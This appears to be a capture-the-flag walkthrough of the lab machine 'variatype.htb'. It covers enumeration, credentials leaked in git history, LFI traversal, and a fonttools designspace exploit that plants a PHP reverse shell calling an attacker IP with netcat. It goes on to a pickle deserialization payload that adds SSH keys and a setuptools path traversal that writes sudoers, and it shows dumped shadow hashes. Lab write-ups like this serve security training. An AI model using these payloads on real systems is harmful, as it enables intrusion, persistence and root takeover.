Enum
- Initial scans and config
$ export IP=10.129.8.4
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
Open 10.129.8.4:22
Open 10.129.8.4:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGaryOd6/hnIT9XPtT08U3YwVShW2VnKYno4lQqs0BQ6ePwGDjLxPcQHcEiiKWd0/mvv39jxHUQAgt069vYV8ag=
| 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILtP5zMi+IdeNc7bOdDPDwFv+HWDAUakOFYbEIvNSp2z
80/tcp open http syn-ack nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ echo "$IP variatype.htb" | sudo tee -a /etc/hosts
10.129.8.4 variatype.htb- Can access webpage http://variatype.htb/

- Functionality regarding
.designspaceand font files, utilizingfonttools - Quick search for
fonttools CVEreveals CVE-2025-66034 PoC

- Likely the vector we need to explore, however we have yet to fingerprint file structure before we can attempt to use it
- Returning to the functionality of the site, perhaps we can obtain some more information
- Let us try legitimate usage first by uploading the PoC provided code, keeping in mind we are blind for now
setup.py
- Generates two
.ttffiles for us to use along with a.designspacefile
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)$ python3 setup.pymalicious.designspace
- Showcases arbitrary file write primitive via
<variable-font>
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>malicious2.designspace
- Showcases content injection via
<labelname>
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="output.ttf">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>- After uploading
malicious.designspace+ the two.ttffiles created bysetup.py, the option to download them is provided


- However this seems to be a dead end and we must take a step back to enumerate further
- We do not have much to play with, so let’s check for more endpoints via
gobuster
$ gobuster vhost -u http://variatype.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://variatype.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
portal.variatype.htb Status: 200 [Size: 2494]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================- Add
portal.variatype.htbto/etc/hosts
$ echo "$IP portal.variatype.htb" | sudo tee -a /etc/hosts
10.129.8.4 portal.variatype.htb
$ curl http://portal.variatype.htb/ | head
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>VariaType — Internal Validation Portal</title>
<link rel="stylesheet" href="/styles.css">
<link rel="icon" href="/favicon.ico" type="image/x-icon">
</head>
<body>- There is a webpage available but we have no creds

- We need to enumerate further with
gobusteror similar tools
$ gobuster dir -u http://portal.variatype.htb -w /usr/share/wordlists/dirb/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://portal.variatype.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.git/HEAD (Status: 200) [Size: 23]
files (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
index.php (Status: 200) [Size: 2494]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================- Appears to be an open repo, which we can grab with git-dumper
$ git-dumper http://portal.variatype.htb/ dump
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.gitignore [404]
[-] http://portal.variatype.htb/.gitignore responded with status code 404
[-] Fetching http://portal.variatype.htb/.git/COMMIT_EDITMSG [200]
*snip*
$ ls -la dump
total 16
drwxrwxr-x 3 4096 .
drwxrwxr-x 4 4096 ..
-rw-rw-r-- 1 36 auth.php
drwxrwxr-x 7 4096 .git- We successfully dumped the repo and can trace the commits to reveal some interesting information
$ cat dump/.git/COMMIT_EDITMSG
security: remove hardcoded credentials- Well that sounds yummy, let’s find that previous version
$ cd dump
$ git --no-pager log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:57:57 2025 -0500
feat: initial portal implementation
$ git --no-pager show 753b5f5957f2020480a19bf29a0ebc80267a4a3d
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
<?php
session_start();
-$USERS = [];
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];Credentials
gitbot:G1tB0t_Acc3ss_2025!
- Can login and view our processed uploads from earlier
- This also allows us to download, however there is a different mechanism than before (PHP) which may allow LFI

- Since we logged in we need to grab cookie for using
ffufto check LFI vulnerabilities
$ ffuf -u 'http://portal.variatype.htb/download.php?f=FUZZ' \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 15 \
-H 'Cookie: PHPSESSID=<YOUR_COOKIE>'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://portal.variatype.htb/download.php?f=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Header : Cookie: PHPSESSID=<YOUR_COOKIE>
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 15
________________________________________________
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 50ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 51ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 61ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 60ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 54ms]
....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 52ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 55ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 61ms]
....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 58ms]
....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 56ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 61ms]
....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 62ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 63ms]
....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 62ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 63ms]
....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 58ms]
....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 58ms]
....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 57ms]
:: Progress: [930/930] :: Job [1/1] :: 740 req/sec :: Duration: [0:00:01] :: Errors: 0 ::- Appears we have successful LFI, but we verify with
curlorBurpSuite
$ curl -v -H 'Cookie: PHPSESSID=<YOUR_COOKIE>' \
'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd' | grep bash
*snip*
* using HTTP/1.x
> GET /download.php?f=....//....//....//....//....//etc/passwd HTTP/1.1
> Host: portal.variatype.htb
> User-Agent: curl/8.18.0
> Accept: */*
> Cookie: PHPSESSID=<YOUR_COOKIE>
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
*snip*
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash- We see
nginxis used in response - Target user
steve - We now can fingerprint and determine our file structure by enumerating
nginxconfiguration
$ curl -H 'Cookie: PHPSESSID=ufd2hl7b4f0vmo1qh7ntsuin1p' \
'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/nginx.conf'
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;
*snip*
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/variatype.htb;
include /etc/nginx/sites-enabled/portal.variatype.htb;
}
*snip*
$ curl -H 'Cookie: PHPSESSID=ufd2hl7b4f0vmo1qh7ntsuin1p' \
'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb'
server {
listen 80;
server_name portal.variatype.htb;
root /var/www/portal.variatype.htb/public;
index index.php;
access_log /var/log/nginx/portal_access.log;
error_log /var/log/nginx/portal_error.log;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
location /files/ {
autoindex off;
}
}- At last,
/var/www/portal.variatype.htb/publicis served publicly - PHP files are executed via PHP-FPM, not just served
- We now know target directory to place our payload in the PoC we read earlier
- So we can combine the two examples given, where we have arbitrary file write + content injection to create a PHP payload we can trigger from public dir
pwn.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("busybox nc <YOUR_IP> <PORT> -e /bin/bash"); ?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="output.ttf">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="/var/www/portal.variatype.htb/public/shell.php" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>- Have listener ready
- Upload file and then visit http://portal.variatype.htb/shell.php or
curl http://portal.variatype.htb/shell.php
www-data@variatype:~/portal.variatype.htb/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)User
- Basic checks reveal no sudo privs
/optcontains interesting backup script
www-data@variatype:~/portal.variatype.htb/public$ ls /opt
font-tools process_client_submissions.bak variatype
www-data@variatype:~/portal.variatype.htb/public$ cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi- The script processes uploaded files from
/var/www/portal.variatype.htb/public/files(from what we did earlier) - It invokes
/usr/local/src/fontforge/build/bin/fontforgein Python - Inside, it imports
fontforgeand callsfontforge.open('$file')on each uploaded font - Successfully processed files are moved to
/home/steve/processed_fontsand invalid names are quarantined - We can craft a pickle payload for this scenario embedding plaintext into an
.sfdfile for the script to deserialize (rather than binary) - Shells are spawned under
steve’s crontab so they will close eventually, SSH is better persistence and was seen running earlier - Generate a new key for
steveon your machine
# on kali
$ ssh-keygen -t ed25519 -f steve -N "" -C "steve@variatype"
$ chmod 600 steve
$ cat steve.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINVagFC3Ss8neacRwkD/2J1RThtN+IuGUusfXQLXitkU steve@variatypeprivesc.py
import os
import pickle
PUBKEY = "ssh-rsa AAAAB... steve@variatype"
FILEPATH = "/var/www/portal.variatype.htb/public/files/"
FILENAME = "ssh.sfd"
class ExploitPayload:
def __reduce__(self):
cmd = (
f"mkdir -p /home/steve/.ssh && "
f"echo '{PUBKEY}' >> /home/steve/.ssh/authorized_keys && "
f"chmod 700 /home/steve/.ssh && "
f"chmod 600 /home/steve/.ssh/authorized_keys"
)
return (os.system, (cmd,))
payload_path = os.path.join(FILEPATH, FILENAME)
payload = pickle.dumps(ExploitPayload(), protocol=0).decode('ascii')
final_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
with open(payload_path, "w") as payload_file:
payload_file.write(f'SplineFontDB: 3.2\nPickledData: "{final_payload}"\n')- So we run this script, and wait for the cronjob to run and add the SSH keys
www-data@variatype:~/portal.variatype.htb/public/files$ python3 privesc.py- After the cronjob runs we should be able to connect via SSH (can take a minute)
$ ssh -i steve steve@variatype.htb
steve@variatype:~$ ls
bin logs processed_fonts quarantine user.txtRoot
- Check
sudoprivs
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
steve@variatype:~$ cat /opt/font-tools/install_validator.pyinstall_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)
plugin_url = sys.argv[1]
if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()- This script fetches plugins from a URL, and installs via
setuptoolsso lets check the version
steve@variatype:~$ python3 -m pip show setuptools
Name: setuptools
Version: 78.1.0
Summary: Easily download, build, install, upgrade, and uninstall Python packages
Home-page:
Author:
Author-email: Python Packaging Authority <distutils-sig@python.org>
License:
Location: /usr/local/lib/python3.11/dist-packages
Requires:
Required-by:- Can find CVE-2025-47273 is applicable
- File write via fetching plugin from URL we control, serving our mimicked file structure back to the target
- Sine this runs as root, we can write anywhere
- We can edit cronjobs, hashes, SSH keys, do what you want but I went with editing
/etc/sudoers - We need to provided correct structure for the URL to grab our file, which is also where it will write on target
$ mkdir -p etc/sudoers.d
$ echo "steve ALL=(ALL) NOPASSWD:ALL" > etc/sudoers.d/steve
$ python3 -m http.server 7070- Now we can install this using our HTTP server
steve@variatype:~$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://<YOUR_IP>:7070/%2Fetc%2Fsudoers.d%2Fsteve"
2026-03-15 09:44:24,568 [INFO] Attempting to install plugin from: http://<YOUR_IP>:7070/%2Fetc%2Fsudoers.d%2Fsteve
2026-03-15 09:44:24,580 [INFO] Downloading http://<YOUR_IP>:7070/%2Fetc%2Fsudoers.d%2Fsteve
2026-03-15 09:44:24,679 [INFO] Plugin installed at: /etc/sudoers.d/steve
[+] Plugin installed successfully.- Now we can check our
sudoprivs again
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User steve may run the following commands on variatype:
(ALL) NOPASSWD: ALL
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *- We are good to go, simply
sudo sufor root
steve@variatype:~$ sudo su
root@variatype:/home/steve$ id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:/home/steve$ cd ~
root@variatype:~$ ls
root.txt
root@variatype:~$ cat /etc/shadow
root:$y$j9T$U22iZC8ubVYQ.zHw0n1wN.$xTkdl7UZCG8vpE7tECH6aQZeaff07orJSL1G8gzIv9.:20427:0:99999:7:::
steve:$y$j9T$BHBlMR.4E24EbG/z0v.cD.$bjAG20MM2ica3KNyzUldva6VdTIKjk2XqP7IN0Qskh0:20427:0:99999:7:::